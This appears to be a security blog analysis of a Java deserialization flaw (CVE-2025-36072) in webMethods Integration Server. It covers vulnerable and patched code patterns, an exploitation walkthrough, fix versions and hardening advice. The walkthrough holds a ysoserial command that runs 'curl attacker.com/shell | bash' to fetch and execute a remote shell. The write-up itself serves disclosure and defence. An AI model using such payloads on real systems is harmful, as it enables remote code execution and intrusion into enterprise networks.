Object Graph Chaos: Inside CVE-2025-36072

If you've ever worked in a massive enterprise environment, you know webMethods. It's the digital duct tape holding the Fortune 500 together. It integrates ERPs, CRMs, databases, and that one legacy mainframe named 'Betsy' that no one dares to reboot. Because it sits in the middle of everything, it usually holds the keys to the kingdom: database credentials, API tokens, and sensitive PII.

So, when a vulnerability pops up in webMethods, we pay attention. CVE-2025-36072 isn't just a bug; it's a golden ticket to lateral movement. The vulnerability lies in a seemingly innocuous feature: displaying graph data. It turns out that in the quest to visualize complex data structures, the developers trusted the wrong input stream.

This is a classic 'Java Deserialization' vulnerability (CWE-502). It's the cockroach of security bugs—it survives every update cycle, hides in the darkest corners of legacy code, and when you finally step on it, it makes a giant mess.

The root cause here is a tale as old as 2015 (the year ysoserial dropped and changed our lives forever). The application takes an input—presumably a serialized Java object representing a graph or chart—and reconstructs it in memory using ObjectInputStream.readObject().

The problem is that readObject() is basically eval() for Java. Before the application even checks if the object is actually a valid 'Graph' object, the Java runtime has already instantiated it and run its readObject logic. If an attacker substitutes the expected graph object with a malicious 'gadget chain' (a sequence of legitimate classes that trigger a harmful action when combined), the server executes it blindly.

[!NOTE] The Catch: This is an authenticated vulnerability (CVSS PR:L). You need a valid user account to hit the endpoint. But in many enterprises, low-level access is easy to get via phishing, default credentials, or that one contractor who reused their password.

While we don't have the exact source code leaked, we can reconstruct the crime scene based on the patch analysis and standard Java deserialization patterns. The vulnerable code likely looked something like this:

// VULNERABLE CODE PATTERN
public void renderGraph(InputStream untrustedStream) {
    try {
        // The fatal flaw: Reading an object without validation
        ObjectInputStream ois = new ObjectInputStream(untrustedStream);
        
        // The code EXECUTES here, before the cast happens
        Object graphData = ois.readObject(); 
        
        // This cast is too little, too late
        GraphDisplay display = (GraphDisplay) graphData;
        display.render();
    } catch (Exception e) {
        log.error("Failed to render graph", e);
    }
}

The fix usually involves implementing a JEP 290 filter or a whitelist. Instead of blindly deserializing, the patched version inspects the class type before instantiation:

// PATCHED CODE PATTERN
public void renderGraph(InputStream untrustedStream) {
    try {
        ObjectInputStream ois = new ObjectInputStream(untrustedStream);
        
        // Whitelisting allowed classes ONLY
        SerializationFilter filter = SerializationFilter.createFilter(
            "com.softwareag.graph.*;java.base/*;!*"
        );
        ois.setObjectInputFilter(filter);
 
        Object graphData = ois.readObject();
        // ...
    } catch (InvalidClassException ice) {
        // Attack blocked: Class rejected by filter
        securityLog.warn("Deserialization attempt blocked", ice);
    }
}

The difference is subtle in code but massive in security posture. The fix ensures that if the stream contains a CommonsCollections gadget or a ProcessBuilder, the JVM throws an exception before creating the object.

Since this is a standard Java deserialization flaw, the exploitation methodology is well-documented. An attacker doesn't need to write a new exploit from scratch; they just need to find the right 'gadget' present in the webMethods classpath.

1. Reconnaissance: The attacker logs in and identifies the endpoint responsible for rendering graphs. They capture a valid request using Burp Suite.
2. Payload Generation: Using a tool like ysoserial, the attacker generates a payload. Since webMethods is a massive integration suite, it is almost certainly packed with common libraries like Apache Commons Collections, Spring, or c3p0.

   # Example payload generation
   java -jar ysoserial.jar CommonsCollections4 "curl attacker.com/shell | bash" > payload.bin

   Copy

3. Delivery: The attacker replaces the valid graph object in the HTTP request body with the binary content of payload.bin.
4. Detonation: The server receives the request, passes the stream to readObject(), and unwittingly executes the shell command to instantiate the object.

Within milliseconds, the web server (running as a service account) calls out to the attacker's machine, establishing a reverse shell.

Why should you panic about a CVSS 8.8? Because in the context of middleware, RCE is catastrophic. webMethods Integration Server is designed to talk to everything.

Scenario: An attacker gains access via a compromised junior developer account. They exploit CVE-2025-36072 to get a shell on the Integration Server.

From there, they don't need to hack the database; they just read the JDBC connection pools stored in the server's configuration. They don't need to phish the ERP admin; they can inject malicious logic into the integration flows that modify financial transactions in flight. They can pivot into the OT network if the server bridges IT and OT environments.

This isn't just about losing data; it's about losing integrity of your business processes.

IBM (who acquired Software AG's webMethods) has released core fixes. There is no 'configuration tweak' that reliably fixes this; you must update the JARs to enforce serialization filtering.

Apply these fixes via the IBM webMethods Update Manager:

• Version 10.11: Apply IS_10.11_Core_Fix23
• Version 10.15: Apply IS_10.15_Core_Fix23
• Version 11.1: Apply IS_11.1_Core_Fix7

Defense in Depth: If you can't patch today, ensure your internal network segmentation is ruthless. Why does the Integration Server need internet access? Block outbound connections from the server to prevent reverse shells and payload downloading. Audit your user list—if an attacker can't authenticate, they can't trigger this specific bug.